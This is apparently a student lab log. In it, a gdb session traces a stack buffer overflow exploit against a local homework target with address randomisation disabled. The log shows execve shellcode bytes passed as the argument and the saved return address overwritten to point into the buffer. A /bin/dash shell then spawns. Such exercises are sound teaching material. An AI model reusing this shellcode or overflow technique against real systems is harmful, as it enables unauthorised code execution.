```
mo818628@net1547:~/homework_1/exploits$ setarch i686 -R gdb ./exploit

Reading symbols from ./exploit...done.
(gdb) break foo
Function "foo" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (foo) pending.
(gdb) run
Starting program: /home/net/mo818628/homework_1/exploits/exploit

process 26922 is executing new program: /home/net/mo818628/homework_1/targets/target
Press any key to call foo function...

Breakpoint 1, foo (arg=0x7fffffffeef1
"1\300H\273?\226\221?\227\377H\367\333ST_\231RWT^\260;\017\005", '\001' <repeats 173 times>...)
    at target.c:8
8         int *ptr = NULL;

(gdb) info frame
Stack level 0, frame at 0x7fffffffec40:
 rip = 0x5555555547bc in foo (target.c:8); saved rip = 0x555555554912
 called by frame at 0x7fffffffec60
 source language c.
 Arglist at 0x7fffffffec30, args:
    arg=0x7fffffffeef1 "1\300H\273?\226\221?\227\377H\367\333ST_\231RWT^\260;\017\005", '\001'
<repeats 173 times>...
 Locals at 0x7fffffffec30, Previous frame's sp is 0x7fffffffec40
 Saved registers:
  rbp at 0x7fffffffec30, rip at 0x7fffffffec38
(gdb) x buf
0x7fffffffeb70: 0x00000d68

(gdb) break 13
```

```
Breakpoint 2 at 0x5555555547fa: file target.c, line 13.

(gdb) continue
Continuing.

Breakpoint 2, foo (arg=0x7fffffffeef1
"1\300H\273?\226\221?\227\377H\367\333ST_\231RWT^\260;\017\005", '\001' <repeats 173 times>...)
    at target.c:13
13        printf("foo() finishes normally.\n");

(gdb) info frame
Stack level 0, frame at 0x7fffffffec40:
 rip = 0x5555555547fa in foo (target.c:13); saved rip = 0xebffffff7f010101
 called by frame at 0x7fffffffec48
 source language c.
 Arglist at 0x7fffffffec30, args:
    arg=0x7fffffffeef1 "1\300H\273?\226\221?\227\377H\367\333ST_\231RWT^\260;\017\005", '\001'
<repeats 173 times>...
 Locals at 0x7fffffffec30, Previous frame's sp is 0x7fffffffec40
 Saved registers:
  rbp at 0x7fffffffec30, rip at 0x7fffffffec38

(gdb) x/6bx 0x7fffffffec38
0x7fffffffec38: 0x70    0xeb    0xff    0xff    0xff    0x7f

(gdb) continue
Continuing.
foo() finishes normally.
process 17257 is executing new program: /bin/dash
Error in re-setting breakpoint 2: No source file named
/home/net/mo818628/homework_1/targets/target.c.
$ ls
```

```
Makefile  exploit  exploit.c  exploit.o  shellcode.h  testshellcode  testshellcode.c
testshellcode.o
$ exit
[Inferior 1 (process 17257) exited normally]
(gdb)
```